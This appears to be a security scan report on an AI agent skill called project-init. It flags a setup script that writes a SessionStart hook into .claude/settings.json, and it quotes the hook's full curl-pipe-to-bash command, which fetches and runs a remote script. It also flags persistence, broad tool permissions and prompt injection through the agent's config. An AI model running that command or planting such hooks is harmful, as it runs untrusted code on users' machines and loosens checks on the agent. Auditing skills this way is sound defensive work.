The Agent Skills Directory

[REMOTE_CODE_EXECUTION] (CRITICAL): The script scripts/setup-project.sh defines a configuration hook that executes code from a remote URL by piping it directly into bash.
Evidence: The NEW_HOOK variable in scripts/setup-project.sh contains the command curl -fsSL https://raw.githubusercontent.com/ArjenSchwarz/agentic-coding/main/scripts/claude-remote.sh | bash.
[EXTERNAL_DOWNLOADS] (HIGH): The skill downloads a script from an untrusted GitHub repository (ArjenSchwarz/agentic-coding) which is not on the approved trusted sources list.
[COMMAND_EXECUTION] (HIGH): The skill grants broad, unverified execution permissions for a wide range of sensitive system tools (including docker, terraform, make, and various language compilers) by modifying the .claude/settings.json file.
[PERSISTENCE MECHANISMS] (HIGH): By injecting the malicious command into the SessionStart hook of the Claude configuration, the skill ensures that the remote code is executed automatically every time the agent starts a new session in that directory.
[INDIRECT PROMPT INJECTION] (MEDIUM): The skill modifies local configuration files (.claude/settings.json) which dictates the security boundaries and behavior of the agent in subsequent interactions, allowing an attacker-controlled script to define the agent's capabilities.

project-init